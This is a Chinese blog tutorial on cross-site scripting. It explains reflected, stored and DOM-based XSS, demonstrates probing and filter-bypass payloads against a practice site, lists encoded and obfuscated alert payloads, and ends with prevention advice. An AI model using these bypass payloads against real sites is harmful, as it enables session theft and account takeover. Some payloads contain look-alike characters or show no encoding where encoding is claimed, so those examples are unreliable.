XSS漏洞初见

引子

跨站点脚本(XSS)是一种古老但始终活跃且危险的攻击类型,几乎困扰着所有web应用程序。开发人员使用javascript来增强应用程序最终用户的体验,但如果javascript处理不当,就会导致许多可能的问题,XSS就是其中之一。

XSS风险

XSS的风险在于,恶意代码通常直接注入到易受攻击的应用程序中,而不是用户可能会注意到的重定向站点。比如,如果你经常去example.com,有人给你发了一篇文章的链接,内容类似 example.com/this-article-is-good?id=%3Cscript%3Ealert%281%29%3C%2Fscript%3E 您可能会单击它,因为这是您习惯的东西。您不知道的是,在未经您或站点批准的情况下,有一些代码注入了站点,这些代码可能会窃取您的会话、拍摄一些屏幕截图、激活键盘记录器等…

一种更危险的XSS漏洞是持久性漏洞,您甚至不必单击链接去执行代码,您只需浏览到您信任的网站上的某个页面,就会在该网站上显示保存在数据库中的包含恶意代码的攻击者评论,突然,您和访问该页面的每个人都在触发他们真正不想触发的事情。

XSS分类

常见有3种类型的XSS:

– 反射型

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。

攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。

反射型 XSS 漏洞攻击的四大特点:① 即时性。不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;②攻击者需要诱骗点击;③反馈率低,所以较难发现和响应修复;④盗取用户敏感保密信息。

– 存储型

攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。

存储型 XSS 的三大特点:①持久性,植入在数据库中;②危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡;③ 盗取用户敏感私密信息。

– 基于DOM的XSS

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

攻击过程

找到可能的注入点

找到可能的注入点的最简单方法是查看某处是否发生了反射。一个很好的例子通常是搜索栏,在搜索栏中,一旦搜索到某个内容,就会在页面顶部返回搜索到的字符串。

另一个开始注入的好地方是将文本显示给大量用户的表单。一个很好的例子是页面上的评论。评论、帖子,或者基本上任何其他人会看到的东西。

检查元素并分析反射点

一旦找到了一个反射点,最好对它进行一点分析,看看内容是如何被反射的,经过了哪些才能被反射回来,以及你如何克服开发人员为阻止XSS攻击而设置的一些常见障碍。

一般第一步是注入一堆随机字符来看看是否有一些被列入黑名单。包括<>/;!#$等字符以及它们的组合,查看它们是否都被正确地反射。查看常见黑名单的另一个好方法是做一些基本的注射,看看它们是如何反射出来的。

除了尝试输入字段本身,还可以检查前端代码,看看是否在某个地方进行了清理过滤。然后,检查输入字段所经过的javascript文件进行深入的了解。

基本的注入尝试

进行基本的注入尝试是可以看到字段如何反射输入以及它在幕后做了什么。

首先从注入最基本的alert开始:<script>alert(1)</script>。反射给你的内容,可能是一个弹出框(果真如此,你就发现了金矿,那么就尝试去攻破整个网站吧,因为肯定还有更多的反射点),也许它只是过滤掉了特殊的字符,也许什么都没有反映出来。

根据反射给你的信息,你可以开始制作你的有效载荷。

以下是一些关于不同的简单注射的示例:

1.在URL参数id进行基本的注入尝试(broken_site/xss/1?id=<script>alert(1)</script>)有效

2.基本的注入尝试没有起效,但得到了一些反射信息,比如脚本标记被过滤掉了,我们来尝试如何让它们显示。试一下大小写是否可以绕过黑名单。尝试载荷:/site/xss/2?id=<sCriPt>alert(1)</sCriPt>。

起作用了!使用的过滤只检查小写/大写字符,而不检查大小写混合。

3.如果上述两种尝试都没有得到反射,我们再试着进行包装看看程序是进行单次还是多次检查。载荷为

broken_site/xss/3?id=<sc<script>ript>alert(1)</sc</script>cript>

起作用了!说明该站点只需检查一次有效负载是否包含脚本标记并删除它们,一旦删除它们,我们将获得另一组脚本标记,这些标记将被包裹在已删除的标记周围,并获得成功的警报提示。

4. 上述都不起作用,页面可能使用某种正则表达式来过滤脚本,让我们尝试脚本以外的其他方法。

注入一个基本的标签,看看网站对此有何反应。载荷是broken_site/xss/4?id=<a οnmοuseοver="alert(1)"\>Click me!</a>。我们在这里所做的是创建一个链接,上面写着“单击我”,当我们将鼠标悬停在它上面时,告警框应该会执行。

我们在网站上有这个链接,让我们试着将鼠标悬停在它上面,看看是否收到了告警框。

如果生效,应该是因为过滤的对象是脚本标签,开发人员忽略了其他标签,给注入留了可乘之机。

5.继续上一种情况,当我们尝试使用标签,载荷是broken_site/xss/5?id=<a οnmοuseοver="alert(1)"\>Click me!</a>,看看它的反应来判断程序过滤了什么。

我们得到了链接,但当鼠标悬停在它上面时并没有执行任何操作。因此,猜测过滤掉的不是标签,而可能是alert()。让我们尝试使用一些基本的JS将其从ascii码转换为字符。在浏览器中按F12打开开发工具,然后转到Console选项卡。键入以下String.fromCharCode(97),然后按Enter。您应该在控制台中显示字符a。现在让我们用这个来制作告警框。函数是String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) ,让我们将其放入eval中,以便执行。

载荷变成broken_site/xss/5?id=<a οnmοuseοver="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))"\>Click me!</a>

此时,发现告警框起效了。在这种情况下,如果我们注入提示或确认而不是警报,那么就会奏效。

以上是如何显示提示的一些标准方法,反复尝试直到某个东西阻塞,然后修改阻塞的东西最终获得提示。另一件事是检查元素并查看它周围的代码,看看是否可以从中得到额外的一些东西,这对于检测DOM-XSS问题非常有用。我们用来测试注入的是Broken Crystals

XSS常用Payload

  • 编码

  1. URL编码

<script>alert(1)</script> => %3Cscript%3Ealert%281%29%3C%2Fscript%3E

  1. Base64编码

<script>alert(1)</script> => PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

  1. 16进制编码(不带分号)

<script>alert(1)</script> => %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

  1. 十进制HTML字符

<script>alert(1)</script> => <script>alert(1)</script><script>alert(1)</script>

  1. 十进制HTML字符(不带分号)

<script>alert(1)</script> => &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

  1. 八进制

javascript:prompt(1) to javascript:'\160\162\157\155\160\164\50\61\51'

  1. Unicode 编码

<script>alert(1)</script> => %EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E

  1. 嵌入字符,如Tab,回车,换行

– 嵌入 tab

<script>alert(1)</script> => <scri pt>alert(1)</script>

– 嵌入Null

<script>alert(1)</script> => <scri\0pt>alert(1)</script>;

  1. 字符绕过

– 使用 String.fromCharCode() 方法绕过字符串中的引号

– 在mousedown event中绕过引号 <a href="" οnmοusedοwn="var name = '';alert(1)//'; alert('smthg')">Link</a>

– 使用 /, 0x0c/^L绕过空格,比如:

<a οnmοuseοver="alert(1)">Click me!</a> to <a/οnmοuseοver="alert(1)">Click me!</a>

<a οnmοuseοver="alert(1)">Click me!</a> to <a^Lοnmοuseοver="alert(1)">Click me!</a>

– 使用 `代替圆括号:

<script>alert(1)</script> to <script>alert`1`</script>

– To bypass closing tags > use nothing, they don’t need to be closed

<svg οnlοad=alert(1);//

– 绕过 on...= 过滤器

– 使用 null byte

<a οnmοuseοver="alert(1)">Click me!</a> => <a onmouseover\x00="alert(1)">Click me!</a>

– 使用 tab

<a οnmοuseοver="alert(1)">Click me!</a> => <a onmouseover\x0b="alert(1)">Click me!</a>

– 使用 /

<a οnmοuseοver="alert(1)">Click me!</a> => <a onmouseover/="alert(1)">Click me!</a>

XSS预防

  • 反射型和存储型XSS

反射和存储型XSS可以在服务器端进行清理,有多种方法可以实现。

一种是使用安全编码库来编码所有参数和用户输入。

从长远来看,将被认为不安全的字符列入黑名单并不会真正奏效,因为一些恶意用户可能会绕过它。您需要做的是将允许的内容列入白名单。

如果需要将参数/用户输入数据插入到HTML正文的某个位置,则需要在插入之前进行HTML转义。您还需要对可以切换执行上下文的任何字符进行HTML实体编码,例如脚本、样式或事件处理程序。

如果需要将参数/用户输入数据插入HTML公共属性,请使用Escape属性。不要使用诸如href、src、style或任何事件处理程序之类的复杂属性。把属性用引号包围起来,因为未引用的属性可以用许多不同的字符转义,而引号属性只能用相应的引号转义。转义所有非字母数字字符以防止切换出属性。

当需要将参数/用户数据输入插入到事件处理程序或脚本标记中时,需要为动态生成的JS代码执行JavaScript转义。

  • DOM XSS

•无法在服务器端清理DOM XSS,因为所有执行都发生在客户端,因此清理有点不同。

•在将任何参数或用户数据输入插入到执行上下文中的HTML子文本之前,始终进行HTML转义,然后是JavaScript转义。

•避免在执行上下文中的事件处理程序和JavaScript代码子文本中包含任何易失性数据(任何参数/用户输入)。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值